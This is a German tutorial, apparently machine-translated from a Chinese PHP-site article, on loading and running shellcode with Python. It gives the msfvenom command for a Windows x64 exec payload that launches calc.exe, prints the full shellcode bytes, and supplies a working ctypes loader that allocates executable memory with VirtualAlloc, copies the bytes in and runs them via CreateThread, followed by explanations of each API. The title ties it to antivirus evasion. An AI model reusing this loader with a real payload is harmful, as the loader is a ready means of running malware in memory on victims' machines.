Generieren Sie zunächst einen Shellcode mit dem folgenden Befehl. Verwenden Sie die Option msfvenom -p, um die Payload anzugeben. Wählen Sie hier die Parameter aus, die von den Windows/x64- und Exec-Modulen empfangen werden. Verwenden Sie calc.exe, um den Taschenrechner aufzurufen. Die Option -f wird verwendet, um die kompilierte Sprache des generierten Shellcdoe auszuführen.
msfvenom -p windows/x64/exec CMD='calc.exe' -f py
Das Programm ist:
# -*- coding:utf-8 -*- import ctypes from ctypes import * from ctypes.wintypes import * import sys PAGE_EXECUTE_READWRITE = 0x00000040 MEM_COMMIT = 0x3000 PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF) VirtualAlloc = windll.kernel32.VirtualAlloc RtlMoveMemory = windll.kernel32.RtlMoveMemory CreateThread = windll.kernel32.CreateThread WaitForSingleObject = windll.kernel32.WaitForSingleObject OpenProcess = windll.kernel32.OpenProcess VirtualAllocEx = windll.kernel32.VirtualAllocEx WriteProcessMemory = windll.kernel32.WriteProcessMemory CreateRemoteThread = windll.kernel32.CreateRemoteThread shellcode = bytearray( b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41" b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48" b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f" b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c" b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52" b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b" b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0" b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56" b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9" b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0" b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58" b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0" b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41" b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41" b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06" b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65" b"\x78\x65\x00" ) def run1(): VirtualAlloc.restype = ctypes.c_void_p #重载函数返回类型为void p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存 buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针 RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中 h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程 WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件 if __name__ == "__main__": run1()
Importieren Sie das Modul, und das Programm weist Speicher zu und kann Lese- und Schreibvorgänge ausführen.
import ctypes from ctypes import * from ctypes.wintypes import * import sys PAGE_EXECUTE_READWRITE = 0x00000040 MEM_COMMIT = 0x3000 PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
Regionaler ausführbarer Code, lesbar und beschreibbar
PAGE_EXECUTE_READWRITE = 0x00000040
Speicher zuweisen
MEM_COMMIT = 0x3000
Geben Sie dem Prozess alle Berechtigungen
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
Rufen Sie die Windows-API auf
VirtualAlloc = windll.kernel32.VirtualAlloc RtlMoveMemory = windll.kernel32.RtlMoveMemory CreateThread = windll.kernel32.CreateThread WaitForSingleObject = windll.kernel32.WaitForSingleObject OpenProcess = windll.kernel32.OpenProcess VirtualAllocEx = windll.kernel32.VirtualAllocEx WriteProcessMemory = windll.kernel32.WriteProcessMemory CreateRemoteThread = windll.kernel32.CreateRemoteThread
Weisen Sie den zuvor generierten Shellcode dem Shellcode-Parameter zu und verwenden Sie die Bytearray-Funktion, um ihn zu verarbeiten vor der Zuweisung
shellcode = bytearray( b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41" b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48" b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f" b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c" b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52" b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b" b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0" b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56" b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9" b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0" b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58" b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0" b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41" b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41" b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06" b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65" b"\x78\x65\x00" )
Erstellen Sie eine Methode und rufen Sie sie auf, beantragen Sie Speicher, verweisen Sie den Shellcode auf den zugewiesenen Speicherzeiger, kopieren Sie den Shellcode in den Speicher, erstellen Sie ein Thread-Ereignis und führen Sie Folgendes aus:
def run1(): VirtualAlloc.restype = ctypes.c_void_p #重载函数返回类型为void p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存 buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针 RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中 h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程 WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件
VirtualAlloc wird verwendet, um Speicherplatz zu beantragen und ist eine Windows-API-Funktion. Die Deklaration lautet:
LPVOID VirtualAlloc{ LPVOID lpAddress, // 要分配的内存区域的地址 DWORD dwSize, // 分配的大小 DWORD flAllocationType, // 分配的类型 DWORD flProtect // 该内存的初始保护属性 };
RtlMoveMemory kopiert Speicher vom angegebenen Speicher in einen anderen Speicher. Die Syntax lautet:
VOID RtlMoveMemory( VOID UNALIGNED *Destination, const VOID UNALIGNED *Source, SIZE_T Length );
Parameter:
Destination: Zeiger auf die Zieladresse der Verschiebung.
Quelle: Zeiger auf die zu kopierende Speicheradresse.
Länge: Geben Sie die Anzahl der zu kopierenden Bytes an.
CreateThread ist eine von Microsoft in der Windows-API bereitgestellte Funktion zum Erstellen eines neuen Threads. Diese Funktion erstellt einen neuen Thread basierend auf dem Hauptthread.
Funktionsprototyp:
HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes,//SD SIZE_T dwStackSize,//initialstacksize LPTHREAD_START_ROUTINE lpStartAddress,//threadfunction LPVOID lpParameter,//threadargument DWORD dwCreationFlags,//creationoption LPDWORD lpThreadId//threadidentifier )
Parameterbedeutung
lpThreadAttributes: Zeiger auf eine Struktur vom Typ SECURITY_ATTRIBUTES. Dieser Parameter wird in Windows 98 ignoriert. In Windows NT verwendet NULL die Standardsicherheit und kann nicht von untergeordneten Threads geerbt werden. Andernfalls muss eine Struktur definiert werden, um ihr bInheritHandle-Mitglied auf TRUE zu initialisieren.
dwStackSize, legen Sie die anfängliche Stapelgröße in Bytes fest. Wenn sie 0 ist, wird standardmäßig dieselbe Stapelspeichergröße wie der Thread verwendet, der diese Funktion aufruft. In jedem Fall erweitert Windows die Stapelgröße dynamisch nach Bedarf.
lpStartAddress, Zeiger auf die Thread-Funktion, in der Form: @Funktionsname, es gibt keine Begrenzung für den Funktionsnamen
lpParameter: Der an die Thread-Funktion übergebene Parameter ist ein Zeiger auf die Struktur. Wenn nein Parameter müssen übergeben werden, es ist NULL .
dwCreationFlags: Thread-Flags, verfügbare Werte sind wie folgt
(1) CREATE_SUSPENDED (0x00000004): Erstellt einen angehaltenen Thread,
(2) 0: Zeigt die Aktivierung unmittelbar nach der Erstellung an.
(3) STACK_SIZE_PARAM_IS_A_RESERVATION (0x00010000): Der Parameter dwStackSize gibt die anfängliche reservierte Stapelgröße an, andernfalls gibt dwStackSize die übermittelte Größe an. Dieser Tagwert wird unter Windows 2000/NT und Windows Me/98/95 nicht unterstützt.
lpThreadId: Speichern Sie die ID des neuen Threads.
WaitForSingleObject ist eine Windows-API-Funktion. Wenn das Handle geschlossen wird, während die Wartezeit noch aussteht, ist das Funktionsverhalten undefiniert. Das Handle muss über SYNCHRONIZE-Zugriff verfügen.
Deklaration:
DWORD WINAPI WaitForSingleObject( __in HANDLE hHandle, __in DWORD dwMilliseconds );
hHandle[in] Objekthandle. Sie können eine Reihe von Objekten angeben, z. B. Ereignis, Job, Speicherressourcenbenachrichtigung, Mutex, Prozess, Semaphor, Thread, Wartetimer usw.
dwMilliseconds[in] Timing-Zeitintervall, Einheit ist Millisekunden (Millisekunden). Wenn Sie einen Wert ungleich Null angeben, befindet sich die Funktion in einem Wartezustand, bis das durch hHandle markierte Objekt ausgelöst wird oder die Zeit abläuft. Wenn dwMilliseconds 0 ist, wird das Objekt nicht signalisiert, die Funktion wechselt nicht in einen Wartezustand, sondern kehrt immer sofort zurück. Wenn dwMilliseconds INFINITE ist, kehrt die Funktion erst zurück, wenn das Objekt ausgelöst wird.
Führen Sie das Programm aus, um den Rechner erfolgreich aufzurufen.
Das obige ist der detaillierte Inhalt vonWas sind die Lade- und Ausführungsmethoden des Shellcodes der Python-Antivirentechnologie?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!